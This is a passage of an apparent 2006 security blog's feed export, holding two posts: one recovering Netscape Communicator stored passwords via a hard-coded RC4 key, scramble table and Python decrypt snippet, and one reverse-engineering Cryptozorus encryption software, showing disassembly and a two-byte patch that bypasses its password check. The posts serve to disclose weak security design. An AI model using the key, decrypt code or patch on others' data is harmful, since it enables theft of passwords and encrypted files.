italic;"&gt;really&lt;/span&gt; cool.&lt;br /&gt;&lt;br /&gt;After few minutes of browsing, it becomes pretty clear that &lt;span style="font-family:courier new;"&gt;MSG_SetPasswordForMailHost()&lt;/span&gt; is calling &lt;span style="font-family:courier new;"&gt;SECNAV_MungeString()&lt;/span&gt;, which is relying on the RC4 stream cipher. &lt;span style="font-family:courier new;"&gt;RC4_CreateContext()&lt;/span&gt; is initialized with a fixed key, namely:&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;0xD0869CDEC6EEEB3E&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Registry-stored passwords are encrypted with the same stream, but also reversed (using the &lt;span style="font-style: italic;"&gt;strrev()&lt;/span&gt; function) and scrambled using the following table:&lt;br /&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;pre&gt;// To be used for characters in range [0x40 ... 0x7F]&lt;br /&gt;unsigned char table[] = {&lt;br /&gt;0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x41, 0x42,&lt;br /&gt;0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,&lt;br /&gt;0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x61, 0x62,&lt;br /&gt;0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;Using &lt;a href="http://www.amk.ca/python/code/crypto.html"&gt;Python Crypto Toolkit&lt;/a&gt;, it is now possible to test our results:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;from Crypto.Cipher import ARC4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import base64&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;input = base64.b64decode("IqGGOfLNOzYScTc=")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;key = "\xD0\x86\x9C\xDE\xC6\xEE\xEB\x3E"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;o=ARC4.new(key)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;print o.decrypt(input)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;thisisatest&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Job finished!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-114547746881277433?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/114547746881277433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=114547746881277433' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114547746881277433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114547746881277433'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2006/04/recovering-netscape-communicator-4.html' title=''/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-114544744611897020</id><published>2006-04-19T12:36:00.000+01:00</published><updated>2006-11-14T21:05:07.090+01:00</updated><title type='text'>Cryptozor &amp; Steganozorusor why dinosaurs disappeared</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Introduction&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Believe it or not, I have been told that some people rely on Cryptozor(us) software for file encryption.&lt;br /&gt;&lt;br /&gt;Cryptozor(us) is from &lt;a href="http://thomasnerrant.com/"&gt;Thomas Nerrant&lt;/a&gt;. The author's primary web site seems down currently, but it is possible to find a working mirror: there are some available on [&lt;a href="http://www.pslcity.power-heberg.be/modules.php?name=Downloads&amp;op=getit&amp;amp;lid=2"&gt;1&lt;/a&gt;][&lt;a href="http://www.elbossoso.info/Tutos/secu/crypt/crypt.html"&gt;2&lt;/a&gt;][&lt;a href="ftp://utilisateurs:liens@ftp.liens-utiles.org/httpdocs/securite/cryptage/Cryptozorusi.exe"&gt;3&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;First impression is that the GUI is ... poor, to say the least.&lt;br /&gt;&lt;br /&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/cryptozorus.png" alt="" border="0" /&gt;The software claims using PC1 and CARACACHS algorithms, which are mostly unknown from the community. This is often bad news ... for the software :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;First tries&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First of all, let's try to encrypt a simple, plaintext file (such as "README.TXT"). The original file size is 15,331 bytes. A "README.TXT.CTZ" file is created on output. Here are the results using different passwords and the CARACACHS-128 algorithm:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;File #1, input password "a", output file size 15,402 bytes.&lt;/li&gt;&lt;li&gt;File #2, input password "aa", output file size  15,402 bytes.&lt;/li&gt;&lt;/ul&gt;Let's compare both files using &lt;a href="http://www.cryptool.com/"&gt;CrypTool&lt;/a&gt;. First, we can see that the output file distribution for #1 is far from being good:&lt;br /&gt;&lt;br /&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/histogram-a.png" alt="" border="0" /&gt;But the really bad news is that file #2 has exactly the same distribution:&lt;br /&gt;&lt;br /&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/histogram-aa.png" alt="" border="0" /&gt;What kind of "encryption" algorithm could give such results ? Having a closer look, file #1 and #2 differ on byte ranges &lt;span style="font-family:courier new;"&gt;[0x00..0x1C]&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;[0x3C00..0x3C1F]&lt;/span&gt;. Both files are otherwise exactly the same !&lt;br /&gt;&lt;br /&gt;At this point, we are pretty confident in the fact that the output file is "scrambled" with a fixed key, and that &lt;span style="font-style: italic;"&gt;the encryption key is useless in the process of decryption&lt;/span&gt;. Now let's have a look at "CRYPTOZORUS.EXE".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Binary analysis&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Having unpacked the file (&lt;span style="font-family:courier new;"&gt;upx -d cryptozorus.exe&lt;/span&gt;), we begin analysis. An idea to start with would be searching for a string reference to "&lt;span style="font-family:courier new;"&gt;!#? Bad Password ?#!&lt;/span&gt;". Such a reference can be found in the following piece of code (comments have been added later):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;.text:0040314D case6_bad_password:                     ; CODE XREF: dispatch_sub+181j&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;.text:0040314D                 cmp     ebx, 6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00403150                 jnz     short case7_stopped&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00403152                 mov     word ptr [edi+10h], 50h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00403158                 mov     edx, offset a?BadPassword? ; " !#? Bad Password ?#!"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:0040315D                 lea     eax, [ebp+var_1C]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00403160                 call    wrap_LStrFromPChar&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The function at 0x00402F88 is clearly a switch/case related to the program's internal state. We call it "dispatch_sub()". When state == 6, "bad password" is displayed.&lt;br /&gt;&lt;br /&gt;There are many references to dispatch_sub(), so it is better to trace the program with a debugger (namely OllyDbg) to find the caller on case 6. The result is pretty obvious:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;.text:00408218 bad_password:                           ; CODE XREF: maybe_write_file+FFj&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00408218                 push    6               ; 6 = BAD PASSWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:0040821A                 mov     eax, [esi]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:0040821C                 mov     edx, [eax]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:0040821E                 push    edx&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:0040821F                 call    dispatch_sub&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This piece of code is entered on the following condition:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;.text:00408071                 call    test_password&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00408076                 add     esp, 8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:00408079                 test    al, al&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;.text:0040807B                 jz      bad_password    ; 6 = BAD PASSWORD&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;By replacing "jz bad_password" with "nop", it is possible to completly bypass password checking.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;By patching 2 bytes inside the program file, we made a program that will decrypt any file without knowing the password. Total analysis time is under 20 minutes. Would you call &lt;span style="font-style: italic;"&gt;that&lt;/span&gt; security software ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;PS. Having a closer look at test_password(), it seems that this function relies on  the "CRYPTOZORUS_THOMASNERRANT.COM" string. The exact purpose of this string is left as an exercise to the reader. There are 2 possibilities:&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-style: italic;"&gt;&lt;li&gt;This is the fixed encryption key;&lt;/li&gt;&lt;li&gt;This string, encrypted with user password, is used for password checking on decryption.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-114544744611897020?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/114544744611897020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=114544744611897020' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114544744611897020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114544744611897020'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2006/04/cryptozor-steganozorusor-why-dinosaurs.html' title='Cryptozor &amp; Steganozorus&lt;br&gt;&lt;font size=&quot;-1&quot;&gt;or why dinosaurs disappeared&lt;/font&gt;'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>4</thr:total></entry></feed>
